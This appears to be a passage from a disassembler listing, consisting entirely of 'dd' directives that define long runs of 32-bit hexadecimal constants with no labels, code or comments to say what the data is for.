		dd 0E01CA3Eh, 0AA1DB747h, 7C295B7Ch, 9B90E874h,	0B3FC7AE7h
		dd 0DB8052C0h, 4E5B6065h, 0BB81BF66h, 0F92FB498h, 78197C2Dh
		dd 0D19550FEh, 6BE8BC7Bh, 0AFFC805Dh, 9CA8316Dh, 81CC565Fh
		dd 5FB21CB7h, 2A642D8Bh, 9B87E301h, 4148A94Fh, 0A1899F70h
		dd 0E100A29h, 380025D8h, 0DFBAEF84h, 168BB716h,	0A6585FF8h
		dd 0F4F3E794h, 23FAA0B3h, 7F519F29h, 0FA276B2Ch, 2F749641h
		dd 7A03D75h, 30C7BC73h,	0BD45F3EFh, 4F96BE48h, 982BC4C9h
		dd 4127BF29h, 5F2C77A9h, 64E6D98h, 0D1D0CEB9h, 0B161913Dh
		dd 3F1081B5h, 1BB810B9h, 52BF8BACh, 8B5E09E5h, 6CC14DFDh
		dd 4D752E1Bh, 0C5BF30EFh
		dd 75004363h, 32BD71D0h, 0E03552EAh, 6A570161h,	9E47AF76h
		dd 5357E272h, 0FC67F8DEh, 0A66D4201h, 689BAFDh,	0B27E0965h
		dd 2DDBA83Dh, 8CF2D1B7h, 1E2B2F41h, 4BBF8E65h, 0B87B5424h
		dd 0BC9E4931h, 0FC3C091Bh, 0D9558D0Fh, 0E6D749CAh, 3EC69522h
		dd 626CBF00h, 87682DB7h, 69A03103h, 2F41E516h, 1E78E10Eh
		dd 0BD898B3Dh, 588BA949h, 0EC76972Ah, 0B38801F4h, 0BD0B6597h
		dd 0C4F57BCDh, 0E953B97Ah, 34B22Bh, 237B21B7h, 9730E59Dh
		dd 0C60067Ch, 0F4453DB4h, 0E9549F2Fh, 0D0735F7Ah, 0C76E5452h
		dd 61C63135h, 20F02E1Dh, 8B8E3CDFh, 36C5FC25h, 3DF476ADh
		dd 0DA058144h, 3692E198h, 9387E2AEh, 0D9660023h, 0E63A8F19h
		dd 335106Ah, 0F705D3EEh, 9DC80519h, 8E3043CDh, 0F85B7185h
		dd 40FC5EA0h, 7703F0F1h, 191DB015h, 0E20F0D96h,	3E6A0A10h
		dd 0ED3E07E5h, 0D0F8FDB9h, 9C723816h, 0C60B8E1Ah, 7E956E50h
		dd 349ED491h, 5B02FBC0h, 4F5E2713h, 803AF571h, 85D1327Ah
		dd 12BF3C4Ch, 0B122D9F4h, 3BFD2E5Dh, 0D5A0F4E8h, 81800FEDh
		dd 0D1EE09E3h, 0FD5B3464h, 1160E324h, 0A78C85h,	0FD0EA0CEh
		dd 902B5612h, 0D0B60C07h, 40CE2E48h, 0B3505F88h, 0BF859AE1h
		dd 520079B7h, 54C84DB8h, 0A1701EA2h, 42958281h,	737726DCh
		dd 236D4915h, 35518440h, 1783044Dh, 0B918CBE4h,	7DD98B0Bh
		dd 429DCEC6h, 2A38D783h, 5B4AEF80h, 219DE9D8h, 62AF0FF1h
		dd 8B23D616h, 0D4ED2050h, 2D742CBh, 0DF2CF9DFh,	1D71C273h
		dd 618358h, 915FC920h, 5DF0CC27h, 4EAC164Eh, 65BD31C1h
		dd 0F2D2E1Eh, 1AF0AE26h, 0BD133541h, 0DFBB32AEh, 0C0FAD2BCh
		dd 0F89E7DBh, 5CDBBF25h, 1C46D6D5h, 2FECB39h, 9B945615h
		dd 2C8A09Ah, 96267062h,	0A09DD57h, 60780072h, 0BF0B880Fh
		dd 3D0E4D6Eh, 27A67A0h,	0E296613Ch, 0C5B7D746h,	60801C11h
		dd 27E5A789h, 9E9DC00Dh, 95EC5B48h, 0E6094A11h,	3115F2B9h
		dd 2B9F710Eh, 8B142538h, 0BF96F9F8h, 2AC8EC0Eh,	8A572150h
		dd 81EC5BFDh, 0A7D0AF3h, 447A1746h, 8BF6ABF5h, 802CEDA4h
		dd 3E49F038h, 0EE084AF9h, 9D8D4730h, 0BC25830Eh, 5408D9FAh
		dd 788B1B0Ah, 0BD0FBB95h, 3192F6F1h, 618AA5C5h,	0EC4F0CF2h
		dd 0C3F9037Ch, 0A0DACFF8h, 489B3493h, 0CF41DA7Ah, 9628E22Ah
		dd 0C8AE6E34h, 0F006E6Ah, 2F4736AAh, 459A511h, 0E5202D67h
		dd 0A24CB88Ah, 0EB812016h, 2425ED2Dh, 4B28C627h, 2F8DE2C6h
		dd 25E6FCACh, 1AD9665Bh, 0F4B2EC19h, 57A86209h,	337E49Bh
		dd 9E551DD8h, 18E0E230h, 3AFFA65Eh, 0E95BF780h,	59099793h
		dd 10F3B757h, 66D15E4Ch, 2626C18Bh, 38D2D1F0h, 2B881B02h
		dd 2903820Fh, 5F25C3DCh, 4C49D74Dh, 939E014Ah, 0F883E061h
		dd 3249710Fh, 17AA5ABCh, 0A69A17E8h, 0CCEAE4B8h, 0CF258079h
		dd 1995130h, 0A69284FDh, 97393C14h, 0C40837FEh,	0E7E3EB2Eh
		dd 6B565B2Dh, 0DC1005F4h, 5091B0C1h, 114CFF1h, 0F58A9D2Bh
		dd 280C04A6h, 9E04ABADh, 0AAB829A1h, 0C68A6082h, 0F92FA450h
		dd 6D202224h, 10610721h, 5093B790h, 154497h, 23CE08C1h
		dd 0DE8FABE5h, 7E6F214Fh, 0BDD40703h, 5DE9D8F7h, 0C1CE4260h
		dd 53409154h, 12E1046h,	6499B9B8h, 0E4A5DE2Bh, 7051F37h
		dd 6A61F0A9h, 9CF02FE6h, 59057CB5h, 88056CE8h, 153D36C1h
		dd 2A8C0F01h, 9EC870EFh, 0D40039CCh, 7DE6B4FFh,	19DC2628h
		dd 847AA39Fh, 2CB96BFCh, 29151184h, 0D19D926Ah,	2F7D5060h
		dd 0C724719Dh, 0EA120E41h, 0EB93DE9Bh, 0EA02F95h, 26A8009h
		dd 330576CEh, 72FBD922h, 0E3810222h, 20668ABh, 0EDC49A5Ch
		dd 16E186B8h, 0CEC10428h, 6E7F6818h, 35E40000h,	0D2E9AEE2h
		dd 9D105120h, 0DC6A2C61h, 310ABB07h, 595159F5h,	0D84A7C28h
		dd 6B9278B2h, 3CB6246Eh, 5CBFA06Fh, 0DB3234h, 0B7D1B450h
		dd 0BCAFA577h, 0C6E86313h, 0D116DABAh, 8834C0D1h, 9D519F9Ah
		dd 35C911D6h, 3F58814Ah, 57D239A2h, 891E549Fh, 0DBF96A64h
		dd 0D6C508C0h, 0EC0052CBh, 17CA55E1h, 2B797E5h,	0B52DFAEDh
		dd 73F77F83h, 0ABD87B0Ah, 83149B0Bh, 17D25745h,	80BA5FF9h
		dd 0AFDB5D1h, 0A6B6CCB7h, 14542FA4h, 57841255h,	28EA5510h
		dd 27DE5D12h, 51060E6h,	32B30B01h, 4549A2B0h, 91D50906h
		dd 0ED08FA3Bh, 8EF8188h, 31A53440h, 16D654AFh, 0C476B903h
		dd 80221386h, 805DFBF5h, 6B85F622h, 9727AFC6h, 0A256081h
		dd 9768985Dh, 75AF5551h, 2E2926A2h, 98517D1Ah, 6D4DFF3Eh
		dd 2BF90B1Ch, 0E0CD64C8h, 594E005Fh, 0C224027Ah, 8B275BF8h
		dd 626576D1h, 0E480CF81h, 76E92977h, 0FF97AEB1h, 0CAC5116h
		dd 0EE74502Dh, 0AE5ECBA7h, 0FF8E4A26h, 24A22870h, 7DB82F62h
		dd 9E0867Ch, 890AED9Dh,	3D615140h, 0D2CA2A08h, 7F129758h
		dd 2277E217h, 9219026h,	0FE8B5FBDh, 51187173h, 821A7950h
		dd 17953E85h, 2D9AEC62h, 426F7130h, 0F80DA166h,	0E889E96Fh
		dd 31B40770h, 0D42C71h,	2927F096h, 4B5BD16h, 8FB3CCEAh
		dd 0EA5AF2E2h, 0C9667DA0h, 73715FCAh, 89F1BF80h, 38B92CF2h
		dd 0F65E10B0h, 0BEDDF04Dh, 0E49D4A23h, 0D69D5699h, 0C3582F45h
		dd 2D801E40h, 0E5568FCBh, 18D795DEh, 209529C0h,	335F2C3Dh
		dd 0A3AD4816h, 51A00493h, 81600029h, 0EA5E11C8h, 0D68B0E06h
		dd 271CBA61h, 1F4BD54h,	0B9CBD3F0h, 2A398B3Ah, 17C8B4DFh
		dd 6DA8B8C1h, 24A551F6h, 2EFE00A1h, 61FF03Eh, 0CB631D28h
		dd 0E5E9BD30h, 9F61605Fh, 0BF7EC1D6h, 0E88E9830h, 822F4B3Fh
		dd 2E035BDFh, 0AD6C797Fh, 49F39255h, 652E2D2Ch,	8B09BA52h
		dd 7DA456A9h, 0BB20003Fh, 0EFD770Bh, 6D1497F9h,	5F5B8B9Fh
		dd 0A5C0FCCDh, 0E17FF6Dh, 2F05ADC0h, 3EBBA920h,	5C38B228h
		dd 3AAD4EB8h, 0B016E7ECh, 89FEF947h, 88742B72h,	0C0A82DFDh
		dd 96A6715Eh, 3275BD08h, 71E1FF09h, 66D0C68Bh, 788C7BBFh
		dd 120636CFh, 9BC7D401h, 0BF2097D0h, 4696F381h,	0C5732325h
		dd 69B01AB9h, 0DCB41582h, 6951B15Ch, 445F23A5h,	0B25BB53Bh
		dd 0E352E000h, 4AB9F54h, 5FB91699h, 1165BCC1h, 5B7A10A5h
		dd 80DCDB60h, 9DAF6C8Ah, 5A420623h, 5CEFC049h, 649521EAh
		dd 3F9A9FB4h, 0B8B74677h, 0B6174A72h, 301BA2B4h, 4102F32Bh
		dd 63AA4ACCh, 0C9EB823Eh, 64AC5C27h, 0BC75428h,	0DDE054F7h
		dd 5CE2674Fh, 9A98F782h, 9509C781h, 715EE18Ah, 0BD1DBB7Bh
		dd 945925F9h, 50122510h, 0CAA0C053h, 1A880EE9h,	483C00A7h
		dd 0B1B6DF9Ah, 2B0E610Ch, 0B250B265h, 0A62052EBh, 1EFEE0A4h
		dd 13110055h, 0E58669ACh, 260F780h, 0C01F684Eh,	92AF5C39h
		dd 0D64631C0h, 80177E96h, 0DCF04C63h, 0E54304E0h, 0BBDA8A50h
		dd 19A2BBB6h, 1C02246Ch, 235BF286h, 9CE42E0h, 409A560Fh
		dd 21FC1C2Fh, 0EC19200h, 3556540Ch, 23D8012Ch, 5794468Fh
		dd 8D6A5Fh, 2FB1EC2Eh, 0B329DD39h, 0F8B125Bh, 25C57ECFh
		dd 9912403Dh, 0BF0228E3h, 6BF6F40Eh, 8961215Ch,	2F389DB5h
		dd 0F58DAC4Eh, 3D3DB8Ch, 4171ACFBh, 3C110689h, 0E0481321h
		dd 0E7EE0C25h, 0E3DB8102h, 56368E52h, 473725B5h, 0BE4D42Dh
		dd 0A5FC6B6Fh, 0CEB5515h, 79C1BD01h, 0FCFBA196h, 8FB775D2h
		dd 0BE517D0Ah, 5FBDFB04h, 1C4D0ACh, 4B40AB95h, 0BE8CFD68h
		dd 0BB724D1h, 7702813Ah, 3B512E60h, 0B51998F0h,	1415759h
		dd 6B3471B5h, 0F88B2D90h, 0C19D1D0Eh, 0B36A1CBFh, 5E59260Eh
		dd 0F10BCC8h, 0C2C1FEDBh
		dd 31E0CF2Eh, 933AF115h, 2ED25D58h, 7537ACBDh, 72A66115h
		dd 0AE6E06E0h, 0D0C51D5Bh, 0CA5DCF82h, 0E14F5506h, 27601964h
		dd 0D912B34Ah, 1BB2DAE7h, 271C4F8Eh, 6479117Bh,	0A971A670h
		dd 87EFE9D4h, 986D5709h, 5E41BC7h, 28CE0880h, 0C5B52529h
		dd 6B77FA56h, 4A57CC75h, 0E565E6F8h, 66AA88EEh,	0C25C719Dh
		dd 3C5B04C0h, 0DC6C88D2h, 71251D09h, 490C226h, 0EDD06CF3h
		dd 87050415h, 0FFB1535Dh, 64D999DCh, 0ACCF0860h, 0CCAE8093h
		dd 372CE29h, 0E1C98A64h, 9DD8EE08h, 0C105802Ch,	4790AC6Ch
		dd 0CC3C64AAh, 4C12284Ch, 0F1BB9FD1h, 76A86F9Dh, 3331BBD3h
		dd 0F7F2259Dh, 5B721373h, 0A6FC002Bh, 0B919F62Eh, 10D60800h
		dd 185299Eh, 0CA7E9706h, 0CB0EB6DCh, 8ABAE8DDh,	0D9CDF3DEh
		dd 8199D53Fh, 4403772Fh, 737EAE89h, 0A152BE01h,	60D4A5DAh
		dd 2741B931h, 8CFD9C6Eh, 1E9AAE4Bh, 2BC414C8h, 7F8440F8h
		dd 52A6FB7Eh, 0BB5FFC00h, 17F6DCC4h, 0BD7FD3AAh, 0A92E8004h
		dd 0EF15CF39h, 0F5DA8516h, 10DD0FF1h, 0A967AD3Fh, 74807B69h
		dd 0F629A4FEh, 6B4BB277h, 0EFFE8Ch, 30EAA87Fh, 29D1CDEh
		dd 0A1ED8E4h, 0E2C1A2D6h, 80BED1DDh, 0D281AD3Fh, 56A06EA6h
		dd 5E1E9FE1h, 9E053523h, 9AEFF802h, 6F1DCA7Bh, 0A2F94840h
		dd 0A14F0FA3h, 6321EA2Dh, 2059BB66h, 44AC20Eh, 85B82BEDh
		dd 0E784AA4Bh, 1E03EA6Fh, 0AADAC40Ch, 3B8F54B9h, 5CA935A9h
		dd 0CD1D2BE6h, 0D800A5Ah, 0CF386657h, 6FF30481h, 0EB293A4Eh
		dd 98BFBA98h, 0ED2EE3EEh, 1285B8CFh, 65595726h,	4B4B1FDEh
		dd 0C8F64E67h, 0B8277C9h, 52DE61F3h, 0EA18C740h, 0D61F0080h
		dd 46B24BADh, 0FC3BA891h, 8952940Dh, 0B51320FDh, 810043D9h
		dd 0A97FDBF7h, 0E7DCBD3Dh, 7EC502FEh, 0E95396B5h, 0B1EA4C80h
		dd 1300A418h, 860A28F1h, 9543040h, 4E82FE2Ah, 3382AF71h
		dd 7531759Dh, 2B1C93C7h, 6EEE4B38h, 83B13966h, 1D6680BFh
		dd 5CFF7319h, 6469E385h, 0E1834F5Dh, 7B330B23h,	0FD28778Dh
		dd 19D5B5D2h, 0E8A22036h, 0DA657527h, 2A0F412Fh, 0FB2BF8A5h
		dd 73070A7Ah, 1EECBBEBh, 767148E9h, 130E7247h, 606FEFh
		dd 322FD27Eh, 248FD374h, 983FA76h, 0B055BB51h, 0C50689E8h
		dd 0EB953139h, 0E1C6B5B0h, 0B8FDE93Bh, 0D99B0029h, 0ED8C8BBFh
		dd 4A5A2831h, 261DE108h, 912D9659h, 2E97C3A3h, 6939D23Dh
		dd 6A0052A8h, 0DA506123h, 599A3A6Eh, 0F804BE29h, 0B84CE9EAh
		dd 806E4AC6h, 2273402Dh, 0BA2B93D1h, 0BF0F9C21h, 0D22DB87Bh
		dd 0BF5042F0h, 10D4F4A2h, 0ABB1BB07h, 0A13B045Eh, 3B24D108h
		dd 0C64EAA6Eh, 38903C67h, 5A352559h, 3C076FEFh,	22A90606h
		dd 40D0DDA4h, 372FE2FFh, 0CE6356ADh, 65CDAC9h, 24E06C60h
		dd 0EFC70328h, 14127BA7h, 0EB81DB0Eh, 4629E6CDh, 0EAE57A0Ch
		dd 0A8499732h, 0DF8B1102h, 61744B7Eh, 4D95CB50h, 601964C8h
		dd 0B3DDF67h, 29CFF00Eh, 0CB488FD4h, 335BF50Eh,	23C76BAEh
		dd 45DB0215h, 627CD1FFh, 669E00DCh, 0C6AEC941h,	0BC25BFB4h
		dd 3E63C593h, 0B0B2E7DFh, 2FFD1117h, 0A88B4A8Bh, 823805D5h
		dd 5D10BBB3h, 0A4503E29h, 7549758Ah, 40FCED10h,	0EA30961Eh
		dd 5C980780h, 344239Fh,	0F8367551h, 5FB119C8h, 0ECAD7B5Bh
		dd 270034E8h, 0C5758679h, 4E5D4AF1h, 0ACA7B938h, 0F8048C18h
		dd 0B5BDB240h, 0EA9202ACh, 0BFD68BC0h, 0E8BB4AEEh, 0E95FC291h
		dd 94C77571h, 8715EC12h, 3DCE848h, 939133D8h, 74115162h
		dd 91F0F71h, 91185695h,	2E06A12Eh, 0F9C2DE77h, 23E1F590h
		dd 0C58C6F58h, 36400F1h, 0AE0126Fh, 3F0BCDCEh, 0DE6031C1h
		dd 8DCA6E43h, 5B610906h, 9F663757h, 54EA8CAAh, 0AF120FE0h
		dd 0AFFCFBC6h, 0D0E5C19Dh, 30C13481h, 5F48DE24h, 97EF07FEh
		dd 0B7A430E0h, 4C87F6BBh, 0B56D0B1Ch, 0D614890Bh, 0B55DA5CBh
		dd 0C030A7B9h, 0AA09A102h, 79E81108h, 9D2B8212h, 0F155030Dh
		dd 0C173F2B4h, 3005DC17h, 7AFE1559h, 99802EF3h,	0A7921702h
		dd 13DF1A4h, 68F598E6h,	0D41AF9C9h, 0BF09E8F2h,	0B5EC5C0h
		dd 16B955E5h, 4CC93E0Eh, 0B061936Fh, 0F92D8184h, 70E60110h
		dd 0C226F87Fh, 22F29BDh, 55C071E4h, 2F97A24Eh, 0A05F51F4h
		dd 568208B4h, 805200F4h, 0BA5B83F7h, 615E27A2h,	0C3ADAB26h
		dd 0D9B8BC09h, 5402538Bh, 5F04212Dh, 4661DBB8h,	88C82BD9h
		dd 0BB104D64h, 3F2AE3DFh, 0DAD1B1FBh, 0F19328B1h, 412BC896h
		dd 4B7F0B41h, 3E56853Fh, 0C8EA4917h, 5700A5E1h,	4FFEA14Eh
		dd 1E4C6852h, 84647691h, 0B8134150h, 0BD2B04E5h, 0B2FE1A15h
		dd 0CA4239h, 8AAD2FF3h,	19CD5B8h, 0A05CEB0Dh, 6FC3C94Ch
		dd 45CA3FADh, 217562B3h, 0C358E65Ch, 0EB544F76h, 0F3AE2E75h
		dd 0E1950BC3h, 58C0560Eh, 758A018Fh, 7C00F862h,	286DBD23h
		dd 20EB1497h, 0B71CB216h, 922D6A4Bh, 88E555BBh,	1B1F9B01h
		dd 0AA829671h, 16F0D572h, 0BBC0C95Ch, 4F27460Ah, 0C059676Ch
		dd 34B94B21h, 84221048h, 0A3FE2AE9h, 0D8B2009Fh, 8381F9B9h
		dd 0F7CF072Bh, 60D0EFFAh, 84E00C7Ah, 0BCC4D74Bh, 5009CFADh
		dd 0EA7FBD03h, 0EDFB7D50h, 0A7C9970h, 20EFCA5Dh, 943B6082h
		dd 770042EEh, 143C73C6h, 4A99CAEFh, 0FA55F0D7h,	0C02B5F0Ah
		dd 0FD40F4E9h, 7B80C5BAh, 0E9C04A0h, 0B89BCA81h, 15184D5h
		dd 0FB5F84FFh, 30D2D6F6h, 7498AFA1h, 774DE110h,	6F5BD917h
		dd 0CB097D30h, 0D50AF8D8h, 41D74412h, 0D96A2F70h, 8B681057h
		dd 4E6B7C5h, 9C8A6695h,	39D6EB67h, 0EDB00D4h, 0DCC45E06h
		dd 0EC026A35h, 13FC5CBBh, 565BD731h, 84C31C51h,	69355520h
		dd 0CE93FD02h, 17F927B4h, 0B40BB1Fh, 0E3814EC8h, 99DB12C4h
		dd 88CEE22Ah, 5A9EA06Ch, 0B8D009C1h, 7CF05EF3h,	0EF6B16ECh
		dd 0A201093Bh, 19A4A871h, 0F3A9E513h, 0DEFDE12Eh, 9161F201h
		dd 605295B1h, 16F7EE30h, 15856A7h, 359D03FFh, 4ACE6A17h
		dd 0E922C122h, 0F997020Ch, 600126C7h, 4B76F257h, 12968A48h
		dd 0FADE04BEh, 12F95880h, 9409919Ah, 0DE978E7Ch, 1DDD08B4h
		dd 51B58928h, 44D62E9h,	4200654Eh, 8448F64Fh, 0BB6D77Fh
		dd 60B40E39h, 8E707653h, 0EB585F54h, 33BB7B25h,	2BC8813Eh
		dd 775EA48Eh, 0BFD211F8h, 0B53DD9B1h, 0EC0180B8h, 677A2C2Fh
		dd 0B57AEEB4h, 606E6F90h, 1625AF5Eh, 0C07A0704h, 7922C9B9h
		dd 0DC139Ch, 0A31798A8h, 396DE772h, 59CE4B2Dh, 0D0B75484h
		dd 0E9419DEDh, 0D2AE1508h, 61011CF5h, 352E52B3h, 0BA3C85EFh
		dd 537E8EF1h, 0AC6EBEECh, 0C77E1C25h, 70EFAD12h, 36EC596Bh
		dd 5116A100h, 963EDCF7h, 90A625D6h, 0CB624562h,	0ABE7FBFDh
		dd 0BAF72F68h, 4A945529h, 1240BF02h, 0C65037D8h, 6FB0098h
		dd 9C8B2FE1h, 1008DEBh,	794B82BDh, 9A51422h, 52502AAEh
		dd 0E11E7664h, 104F0782h, 0DCD1EBDAh, 5CFE2D2Dh, 4F4456A5h
		dd 6BBB023Ch, 0C4550D83h, 0A9584B40h, 0B42CB80Bh, 118ACA14h
		dd 0E6B31702h, 8DC68CFAh, 521D92EBh, 895FF042h,	0D6735D85h
		dd 0E9CF0FD8h, 427F1E31h, 98E95B71h, 0BB843E74h, 1ABCC973h
		dd 0BCC6B992h, 279F2480h, 66F02DA7h, 5D381A97h,	27B52640h
		dd 0D8E253BDh, 67058E8Ch, 820FA408h, 0C80E12h, 0D8973FB0h
		dd 0C5BFD380h, 0D10A6573h, 0B529CD0Bh, 5B9B5705h, 0BD7F0CD2h
		dd 893D0576h, 0D346DB06h, 50F260AAh, 429FB2FAh,	2F73DF9Eh
		dd 4C1C4A5h, 0FE326960h, 5BA7BCDAh, 3D25496Eh, 5612E5DCh
		dd 0C668C30h, 0A03004ACh
		dd 0A8FF32D0h, 0CF62808Ch, 51C4D44h, 0DA477B9Ah, 0B716BA4Bh
		dd 0DF5922FEh, 8160985Eh, 1F294C7h, 0B8683935h,	7BB37A75h
		dd 6174B020h, 0F89A0003h, 0D1BF7F5Ch, 0B00BEA28h, 0C58A0F80h
		dd 0CB52AD62h, 252A4758h, 0DCF7F64Ch, 7F9AE809h, 0A8CC796Dh
		dd 0ACE897CBh, 0DE4E8A50h, 1D12F7E2h, 0C012E90Eh, 5F9FB350h
		dd 0DCB3B661h, 915A3C62h, 7AAD5E33h, 310DE940h,	70871C97h
		dd 3FC88761h, 0E0BBA063h, 387F77F0h, 957056E9h,	127814DBh
		dd 5B0F0485h, 0AC79A96Eh, 87028035h, 0B1D280h, 0A8DA9290h
		dd 0A9BE38FFh, 51F96901h, 0F707DDD0h, 0E9AACE6Ah, 0A8CDF92Bh
		dd 719D4E14h, 0E999D301h, 0CC322F85h, 51A95EFBh, 0CCD10F71h
		dd 0BCDC7DC0h, 3D258B1Eh, 5D998902h, 2A9EC362h,	5E043925h
		dd 0BA00F4F0h, 1F202785h, 0B895F1B6h, 0F85E4EA6h, 0F5A74AE5h
		dd 7A247510h, 0E5599D25h, 0F98A0F7Eh, 577BD909h, 0A3181559h
		dd 0E3028C7Dh, 552C97B2h, 216C196h, 0E3D3AF15h,	429BE5DFh
		dd 0F9B5BED2h, 0EA00A223h, 154BDE59h, 0CB00A693h, 2AAC14BFh
		dd 16315B17h, 0AB33118Dh, 1D2B676Fh, 6FD62FBAh,	12F35E5Ah
		dd 278BF3F5h, 7B7C892Bh, 181C7932h, 708800DAh, 7CF1FF37h
		dd 75D27375h, 6F485DE3h, 0B012FF5Eh, 8A99DAAEh,	0E0CEB31Ch
		dd 0BEB1F805h, 0C80612E0h, 0DF6809C7h, 0AC0FF359h, 5723C7C1h
		dd 0C8944D50h, 79F27315h, 0D2FC12B3h, 61D4FF29h, 0D2FCB2BBh
		dd 0BCA82CF9h, 4BB66904h, 0D7C2AEADh, 5C20CAE5h, 155D2523h
		dd 9A36A87h, 0CD77AC16h, 0F96C4BECh, 22D4C600h,	4FBFF821h
		dd 5EF72581h, 4FA8017Bh, 491D4D21h, 0F48C0BD5h,	0D90055C8h
		dd 9D892C9Eh, 2C6AA51h,	42FE19Ch, 820FB96h, 39FF747Eh
		dd 0A31FA014h, 0DECEAE50h, 4920ED9Ah, 14A5BD26h, 80E7BF2Bh
		dd 0CB3B16A0h, 9D1203ECh, 0D2B80BC5h, 0A4ECA6B4h, 5305BCBBh
		dd 1B91006Ah, 0DAD0D8B3h, 0ABE838EEh, 3577C701h, 2F73B013h
		dd 89315128h, 3F4908Bh,	4300B05Fh, 29D475FDh, 50B3B85Dh
		dd 0BAC9DCEEh, 0C07C9F86h, 0B06E03FEh, 0E19D29C4h, 0D0B4AE84h
		dd 0F7E64AE8h, 5CB65E2Bh, 0CB9A38A3h, 0F88CD3F7h, 4E002349h
		dd 4FB50155h, 0B52A6AA3h, 0AB8A666h, 0F430F495h, 0CFF81561h
		dd 0AC6F78B0h, 0C781F0CAh, 4BA378B2h, 0AE6FC45Dh, 0D1A069A7h
		dd 4D2D6739h, 61C4ADh, 0D26CFF3Ch, 0ED9E28C5h, 0D3E5DB00h
		dd 914E07EEh, 81C00060h, 0CAD8B9F3h, 86975B61h,	1EBE52A0h
		dd 0B0F256DFh, 0F4A573C8h, 2CEB3E5Bh, 0A12095CAh, 90CCA21Ch
		dd 9DC5E9FDh, 499B6E70h, 78CFA78h, 4274E332h, 0FC2C25B5h
		dd 561FC06Dh, 96EADEh, 605F74DAh, 71B589F9h, 22B82D5Eh
		dd 0CD854A9Eh, 6BA90E5h, 0EA81F011h, 1660ED47h,	0F9C4C414h
		dd 0F97F1E0Eh, 0FE12CE98h, 0B716AD46h, 4AFEDAAEh, 32589D88h
		dd 0F01AC22Bh, 38127BFAh, 0E2EB5A4Dh, 1BC48F6h,	0D0033C50h
		dd 45D93A81h, 277719AFh, 0A3092DD4h, 72D9E919h,	0C88B314Ch
		dd 2681D0h, 0CC3C4003h,	2DC2064Fh, 0F38B2940h, 9D1210EBh
		dd 6CB54C33h, 330C1C5Bh, 2221D103h, 8624D7Bh, 1277112h
		dd 40058F64h, 4C4836Dh,	260A6495h, 2A78B51h, 0B0A98110h
		dd 59B5148Ch, 0C3C03312h, 7CD7D04h, 8A2466CCh, 40C37457h
		dd 0A7D26847h, 0CAD49A23h, 1F083423h, 0EB109882h, 54A0E8D3h
		dd 5C0236B1h, 0B4B7F11Dh, 0D4EA425Eh, 0C681C094h, 2F956E21h
		dd 3B92BB7h, 0F079D1CCh, 0D24C2DE9h, 8268C80Ch,	4D765800h
		dd 2A41A9C6h, 20C80BD9h, 55442BF6h, 80450B38h, 0CDD5CBDFh
		dd 95A55154h, 0FE7280DFh, 0A06C97B4h, 0F5BD7D4h, 60068B5Fh
		dd 6AEA8C09h, 0F92788F1h, 599361h, 618535F2h, 0ACF0E881h
		dd 0B8744A33h, 50C0C8FFh, 1F393CF4h, 0AFD483A5h, 470FFC3h
		dd 0BA0B2234h, 59A2AF01h, 4C2CAE4Ah, 0EAA103C2h, 84D0816Fh
		dd 612E04E0h, 8306890Eh, 62A3F3EEh, 4935B309h, 221A6A04h
		dd 81628084h, 0AA0F6C3h, 2FE908BBh, 0B670000Bh,	0A1E04FDCh
		dd 0E4E69827h, 93291333h, 4400EF7Ah, 699BB7Dh, 0EEF00667h
		dd 0F2540A26h, 0E95FD909h, 886205Eh, 73D3B50h, 0C202A0F2h
		dd 9FE282B8h, 57346460h, 0CEAB7B00h, 0EAC32B56h, 1BEE01AEh
		dd 0C74F9B54h, 0E209984Bh, 0A70A21h, 75933AEEh,	0F3F484AAh
		dd 72016072h, 0FC50B45Eh, 5991D36Dh, 0EEC29F81h, 31CB5421h
		dd 0AD1010DFh, 0A62700EEh, 8E08E6BDh, 1C00B01Eh, 0EB32FED5h
		dd 22B5739h, 13ACCB2Dh,	0E301CAC7h, 56701A28h, 2F7B0C3Fh
		dd 0DA080F44h, 210921C0h, 6804F1Ah, 463A1C52h, 535C71D1h
		dd 0B8D830E3h, 410448F2h, 0C3399960h, 0B0187DC0h, 541DEE1Eh
		dd 0E311A3h, 0E7EEA90Ch, 3FECDA01h, 24BE88D0h, 3F00803Bh
		dd 0B059D26Bh, 0D0C1E930h, 45F060C2h, 0B6BC1880h, 2A5735C1h
		dd 63EC591Ah, 24C05F88h, 0F80FFEB8h, 6072AEC2h,	0FFFD4948h
		dd 2B7A1CFBh, 0D4078080h, 0B46811EDh, 38FEC275h, 0A700E07Eh
		dd 0F9B6A175h, 4B613Ah,	0DC20DABCh, 499985C1h, 0B99EB100h
		dd 92B697DDh, 0C6A70001h, 4CAD40AEh, 6C014B11h,	1C60BD90h
		dd 0E2D092F2h, 0A49D2477h, 502E0EA9h, 3D002BEFh, 36D48C49h
		dd 5894300h, 2698B8EEh,	7238004Dh, 76886A2Dh, 42009DBFh
		dd 617E3EC8h, 8E23A4h, 355BA5DCh, 2FE5C695h, 54D4E900h
		dd 0CF47B188h, 0A5EE2Bh, 1FF3E00Fh, 220C5657h, 8CD07839h
		dd 18D3279Eh, 5B2E0038h, 90C93A19h, 0B8E9E101h,	80263F10h
		dd 7F355776h, 740D5F1Dh, 21EA6080h, 691F1E23h, 0DD9BC103h
		dd 0B09C07F2h, 7D7BA9Ah, 262E072h, 31E5F655h, 7FE933F2h
		dd 1180C1B1h, 29DC85E9h, 3D0C8F52h, 89F4AE4h, 0B21CCE3h
		dd 82001BE2h, 2A038C60h, 60B86C9Eh, 0C6C921DDh,	73D447Eh
		dd 0EA3B003Ah, 8D8B13FDh, 77F6B0h, 4DE867C5h, 2CDFD62Fh
		dd 0B5D7280Eh, 0F7F8F8C3h, 34F42866h, 0CE2A0888h, 8420D18Eh
		dd 273D9146h, 3D577788h, 9350F3C4h, 0C87E0071h,	21938B84h
		dd 0AE192AE1h, 0F950E367h, 4D37CF9h, 87A66C68h,	602826CFh
		dd 895991FFh, 96070D36h, 16059277h, 950EF480h, 10B20024h
		dd 224DEFD0h, 0D100353Bh, 97DBC942h, 53847Dh, 6C31AD07h
		dd 665B7FE1h, 52060101h, 0D91B969Fh, 324D0h, 0C8E755F8h
		dd 7484B6Fh, 85B5733h, 1A2100EEh, 1B91E74Dh, 8F03DF94h
		dd 5FC8BCFh, 1676F86Fh,	0BE9A2890h, 28073AC3h, 449FD800h
		dd 0DD5599C9h, 9BFBD603h, 0A3FCC7A5h, 66210E4Dh, 686798D1h
		dd 0CED990ECh, 4A06CC82h, 0A53F881Bh, 0D97AF060h, 1897B080h
		dd 0C9E70856h, 0EBC4536Fh, 0E74E1940h, 2601EC1Fh, 470204AAh
		dd 0B8C8465Bh, 0C1DDEA5Dh, 0DCA2D829h, 690BC04h, 50486B7Ch
